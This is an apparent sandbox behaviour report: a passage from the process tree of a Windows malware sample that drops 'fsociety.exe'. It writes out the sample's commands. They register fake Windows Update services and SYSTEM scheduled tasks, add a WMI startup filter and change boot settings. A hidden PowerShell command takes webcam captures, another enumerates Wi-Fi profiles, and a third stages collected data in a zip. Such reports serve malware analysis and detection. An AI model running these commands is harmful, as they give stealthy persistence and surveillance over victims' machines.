  - Event Triggered Execution: Image File Execution Options Injection
  - Executes dropped EXE
  - Modifies WinLogon
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:2528
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:2904
  - - C:\Windows\System32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:2672
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:1156
  - - C:\Windows\System32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:3460
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:1304
  - - C:\Windows\System32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:1664
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:2328
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      Launches sc.exe
      PID:2932
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:2852
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:2056
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:5564
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2928
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:3304
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    - Executes a command shell one-liner
    PID:3028
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:5140
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:3580
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:1144
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:3856
  - - C:\Windows\System32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:1064
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:4268
  - - C:\Windows\System32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:4896
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:1068
  - - C:\Windows\System32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:5152
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:5144
  - - C:\Windows\System32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:5724
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:3428
  - - C:\Windows\System32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:4116
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:4420
  - - C:\Windows\System32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      Launches sc.exe
      PID:4124
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:1896
  - - C:\Windows\System32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:2784
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:5132
  - - C:\Windows\System32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:4748
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:1664
  - - C:\Windows\System32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:3008
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:5312
  - - C:\Windows\System32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:980
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:3664
  - - C:\Windows\System32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:6176
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:6344
  - - C:\Windows\System32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:6664
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:6856
  - - C:\Windows\System32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:6200
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:4972
  - - C:\Windows\System32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:6696
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6608
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:1140
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:1248
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:6832
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:4176
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1692
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:6372
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:5524
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:6964
  - - C:\Windows\System32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:6556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:6680
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
      4⤵
      PID:1408
- - C:\Windows\system32\cmd.exe
    cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
    3⤵
    PID:7124
  - - C:\Windows\System32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy legacy
      4⤵
      Modifies boot configuration data using bcdedit
      PID:7444
- - C:\Windows\system32\fsociety.exe
    "C:\Windows\system32\fsociety.exe"
    3⤵
    PID:8032
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc stop WindowsUpdate >nul 2>&1
      4⤵
      PID:8092
    - - C:\Windows\System32\sc.exe
        
        sc stop WindowsUpdate
        5⤵
        
        PID:7424
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc delete WindowsUpdate >nul 2>&1
      4⤵
      PID:7212
    - - C:\Windows\System32\sc.exe
        
        sc delete WindowsUpdate
        5⤵
        
        PID:7544
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
      4⤵
      PID:4272
    - - C:\Windows\System32\sc.exe
        
        sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
        5⤵
        
        PID:7484
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
      4⤵
      PID:5864
    - - C:\Windows\System32\sc.exe
        
        sc config WindowsUpdate start= boot
        5⤵
        
        PID:8100
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
      4⤵
      PID:7180
    - - C:\Windows\System32\sc.exe
        
        sc config WindowsUpdate type= own
        5⤵
        
        PID:7252
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
      4⤵
      PID:7704
    - - C:\Windows\System32\sc.exe
        
        sc config WindowsUpdate obj= LocalSystem
        5⤵
        
        PID:7208
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
      4⤵
      PID:7732
    - - C:\Windows\System32\sc.exe
        
        sc config WindowsUpdate error= ignore
        5⤵
        
        PID:8116
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
      4⤵
      PID:3608
    - - C:\Windows\System32\sc.exe
        
        sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
        5⤵
        
        PID:8460
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
      4⤵
      PID:8720
    - - C:\Windows\System32\sc.exe
        
        sc description WindowsUpdate "Provides Windows system updates"
        5⤵
        
        PID:8528
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc start WindowsUpdate >nul 2>&1
      4⤵
      PID:8968
    - - C:\Windows\System32\sc.exe
        
        sc start WindowsUpdate
        5⤵
        
        PID:8700
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc stop SystemUpdate >nul 2>&1
      4⤵
      PID:9084
    - - C:\Windows\System32\sc.exe
        
        sc stop SystemUpdate
        5⤵
        
        PID:4204
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc delete SystemUpdate >nul 2>&1
      4⤵
      PID:4356
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240764781.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240764781.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    PID:7592
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240764781.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240764781.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7324
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh wlan show profile
    3⤵
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:7688
  - - C:\Windows\System32\netsh.exe
      netsh wlan show profile
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:7808
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Windows\TEMP\tokyocore_data_240764703\*' -DestinationPath 'C:\Windows\TEMP\tokyocore_data.zip' -Force"
    3⤵
    PID:7348
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Compress-Archive -Path 'C:\Windows\TEMP\tokyocore_data_240764703\*' -DestinationPath 'C:\Windows\TEMP\tokyocore_data.zip' -Force"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:7904

C:\Windows\system32\fsociety.exe
"C:\Windows\system32\fsociety.exe"
1⤵
- Executes dropped EXE
PID:3224
- C:\Windows\system32\fsociety.exe
  "C:\Windows\system32\fsociety.exe"
  2⤵
  - Modifies WinLogon for persistence
  - Event Triggered Execution: Image File Execution Options Injection
  - Executes dropped EXE
  - Modifies WinLogon
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:2668
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WindowsUpdate >nul 2>&1
    3⤵
    PID:5648
  - - C:\Windows\System32\sc.exe
      sc stop WindowsUpdate
      4⤵
      PID:5940
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WindowsUpdate >nul 2>&1
    3⤵
    PID:5516
  - - C:\Windows\System32\sc.exe
      sc delete WindowsUpdate
      4⤵
      PID:4496
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:5388
  - - C:\Windows\System32\sc.exe
      sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
      4⤵
      PID:3304
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
    3⤵
    PID:5844
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate start= boot
      4⤵
      PID:2812
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
    3⤵
    PID:3488
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate type= own
      4⤵
      PID:4832
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:1268
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate obj= LocalSystem
      4⤵
      PID:3608
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
    3⤵
    PID:4392
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate error= ignore
      4⤵
      PID:5732
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
    3⤵
    PID:2812
  - - C:\Windows\System32\sc.exe
      sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
      4⤵
      PID:4152
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
    3⤵
    PID:4600
  - - C:\Windows\System32\sc.exe
      sc description WindowsUpdate "Provides Windows system updates"
      4⤵
      PID:5312
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WindowsUpdate >nul 2>&1
    3⤵
    PID:4124
  - - C:\Windows\System32\sc.exe
      sc start WindowsUpdate
      4⤵
      PID:1048
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop SystemUpdate >nul 2>&1
    3⤵
    PID:5224
  - - C:\Windows\System32\sc.exe
      sc stop SystemUpdate
      4⤵
      PID:6260
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete SystemUpdate >nul 2>&1
    3⤵
    PID:6476
  - - C:\Windows\System32\sc.exe
      sc delete SystemUpdate
      4⤵
      PID:6776
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem >nul 2>&1
    3⤵
    PID:6224
  - - C:\Windows\System32\sc.exe
      sc create SystemUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= system type= own DisplayName= "System Update Service" obj= LocalSystem
      4⤵
      PID:6268
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate start= system >nul 2>&1
    3⤵
    PID:6600
  - - C:\Windows\System32\sc.exe
      sc config SystemUpdate start= system
      4⤵
      PID:7096
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config SystemUpdate obj= LocalSystem >nul 2>&1
    3⤵
    PID:6820
  - - C:\Windows\System32\sc.exe
      sc config SystemUpdate obj= LocalSystem
      4⤵
      PID:3796
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start SystemUpdate >nul 2>&1
    3⤵
    PID:6432
  - - C:\Windows\System32\sc.exe
      sc start SystemUpdate
      4⤵
      PID:4640
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc stop WinUpdateSvc >nul 2>&1
    3⤵
    PID:6780
  - - C:\Windows\System32\sc.exe
      sc stop WinUpdateSvc
      4⤵
      PID:1340
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc delete WinUpdateSvc >nul 2>&1
    3⤵
    PID:6152
  - - C:\Windows\System32\sc.exe
      sc delete WinUpdateSvc
      4⤵
      PID:6264
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem >nul 2>&1
    3⤵
    PID:1616
  - - C:\Windows\System32\sc.exe
      sc create WinUpdateSvc binPath= "\"C:\Windows\system32\fsociety.exe\"" start= auto type= own DisplayName= "Windows Update Service Helper" obj= LocalSystem
      4⤵
      PID:2856
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc start= auto >nul 2>&1
    3⤵
    PID:3160
  - - C:\Windows\System32\sc.exe
      sc config WinUpdateSvc start= auto
      4⤵
      PID:6548
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc config WinUpdateSvc obj= LocalSystem >nul 2>&1
    3⤵
    PID:3520
  - - C:\Windows\System32\sc.exe
      sc config WinUpdateSvc obj= LocalSystem
      4⤵
      PID:7368
- - C:\Windows\system32\cmd.exe
    cmd.exe /c sc start WinUpdateSvc >nul 2>&1
    3⤵
    PID:7572
  - - C:\Windows\System32\sc.exe
      sc start WinUpdateSvc
      4⤵
      PID:6452
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:7488
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:6876
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:8056
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "SystemUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:7368
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:3268
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "WindowsService" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onstart /rl highest /f /ru SYSTEM /rp ""
      4⤵
      PID:1432
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp "" >nul 2>&1
    3⤵
    PID:8072
  - - C:\Windows\System32\schtasks.exe
      schtasks /create /tn "BootUpdate" /tr "\"C:\Windows\system32\fsociety.exe\"" /sc onboot /rl highest /f /ru SYSTEM /rp ""
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2488
- - C:\Windows\system32\cmd.exe
    cmd.exe /c schtasks /run /tn "WindowsUpdate" >nul 2>&1
    3⤵
    PID:7012
  - - C:\Windows\System32\schtasks.exe
      schtasks /run /tn "WindowsUpdate"
      4⤵
      PID:5464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup" >nul 2>&1
    3⤵
    PID:5036
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic /namespace:\\root\subscription path __EventFilter create Name="WindowsUpdateFilter", EventNamespace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_SystemStartup"
      4⤵
      PID:2496
- - C:\Windows\system32\cmd.exe
    cmd.exe /c bcdedit /set {current} bootmenupolicy legacy >nul 2>&1
    3⤵
    PID:8616
  - - C:\Windows\System32\bcdedit.exe
      bcdedit /set {current} bootmenupolicy legacy
      4⤵
      Modifies boot configuration data using bcdedit
      PID:7664
- - C:\Windows\system32\fsociety.exe
    "C:\Windows\system32\fsociety.exe"
    3⤵
    PID:8748
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc stop WindowsUpdate >nul 2>&1
      4⤵
      PID:8492
    - - C:\Windows\System32\sc.exe
        
        sc stop WindowsUpdate
        5⤵
        
        PID:9032
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc delete WindowsUpdate >nul 2>&1
      4⤵
      PID:8576
    - - C:\Windows\System32\sc.exe
        
        sc delete WindowsUpdate
        5⤵
        
        PID:8632
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
      4⤵
      PID:8528
    - - C:\Windows\System32\sc.exe
        
        sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
        5⤵
        
        PID:2624
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240798265.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240798265.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
    3⤵
    PID:8992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Drawing; Add-Type -AssemblyName System.Windows.Forms; $camera = New-Object System.Drawing.Bitmap(640, 480); $graphics = [System.Drawing.Graphics]::FromImage($camera); try { $capture = New-Object System.Windows.Forms.Capture; $capture.Start(); Start-Sleep -Milliseconds 500; $frame = $capture.GetFrame(); $graphics.DrawImage($frame, 0, 0, 640, 480); $camera.Save('C:\Windows\TEMP\webcam_240798265.png', [System.Drawing.Imaging.ImageFormat]::Png); $capture.Stop(); } catch { $camera.Save('C:\Windows\TEMP\webcam_240798265.png', [System.Drawing.Imaging.ImageFormat]::Png); } $graphics.Dispose(); $camera.Dispose(); "
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4876

C:\Users\Admin\AppData\Local\Temp\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
C:\Users\Admin\AppData\Local\Temp\386fbb57ba83864ee57a9e8a271c6dc215dc20bb1521ee85ad414f0dc67babdc.exe
1⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Modifies WinLogon
- Drops file in System32 directory
- Drops file in Windows directory
PID:2192
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop WindowsUpdate >nul 2>&1
  2⤵
  PID:5100
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1376
- - C:\Windows\system32\sc.exe
    sc stop WindowsUpdate
    3⤵
    PID:5888
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc delete WindowsUpdate >nul 2>&1
  2⤵
  PID:3084
- - C:\Windows\system32\sc.exe
    sc delete WindowsUpdate
    3⤵
    PID:5996
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem >nul 2>&1
  2⤵
  PID:3460
- - C:\Windows\system32\sc.exe
    sc create WindowsUpdate binPath= "\"C:\Windows\system32\fsociety.exe\"" start= boot type= own DisplayName= "Windows Update Service" obj= LocalSystem
    3⤵
    PID:2500
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate start= boot >nul 2>&1
  2⤵
  PID:4384
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate start= boot
    3⤵
    PID:5232
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate type= own >nul 2>&1
  2⤵
  PID:4780
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate type= own
    3⤵
    PID:2876
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate obj= LocalSystem >nul 2>&1
  2⤵
  PID:4160
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate obj= LocalSystem
    3⤵
    PID:5308
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate error= ignore >nul 2>&1
  2⤵
  PID:464
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate error= ignore
    3⤵
    PID:6036
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400 >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3404
- - C:\Windows\system32\sc.exe
    sc config WindowsUpdate failure= actions= restart/60000/restart/60000/restart/60000 reset= 86400
    3⤵
    PID:124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc description WindowsUpdate "Provides Windows system updates" >nul 2>&1
  2⤵
  PID:1776
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:456
- - C:\Windows\system32\sc.exe
    sc description WindowsUpdate "Provides Windows system updates"
    3⤵
    PID:3940
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc start WindowsUpdate >nul 2>&1
  2⤵
  PID:2344
- - C:\Windows\system32\sc.exe
    sc start WindowsUpdate
    3⤵
    PID:2092
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop SystemUpdate >nul 2>&1
  2⤵
  PID:1316
- - C:\Windows\system32\sc.exe
